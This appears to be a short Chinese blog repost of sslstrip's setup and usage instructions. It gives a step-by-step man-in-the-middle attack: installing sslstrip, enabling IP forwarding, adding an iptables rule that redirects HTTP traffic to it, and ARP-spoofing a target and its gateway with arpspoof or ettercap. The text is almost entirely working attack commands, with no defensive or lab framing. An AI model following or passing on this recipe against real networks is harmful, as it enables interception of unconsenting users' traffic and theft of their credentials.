内容来自网络加上自己的一点编辑,
Requirements:
Python >= 2.5 (apt-get install python)
The python "twisted-web" module (apt-get install python-twisted-web)
Setup:
tar zxvf sslstrip-0.9.tar.gz
cd sslstrip-0.9
(optional)
sudo python ./setup.py install
Running sslstrip:
Flip your machine into forwarding mode.
echo "1" > /proc/sys/net/ipv4/ip_forward
Setup iptables to redirect HTTP traffic to sslstrip.
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>
Run sslstrip.
sslstrip.py -l <listenPort>
Run arpspoof to convince a network they should send their traffic to you.
arpspoof -i <interface> -t <targetIP> <gatewayIP>或者是换成ettercap
ettercap –T –q –M arp:remote /要欺骗IP/ /网关路由/
That should do it.
下一篇:kali系统网络设置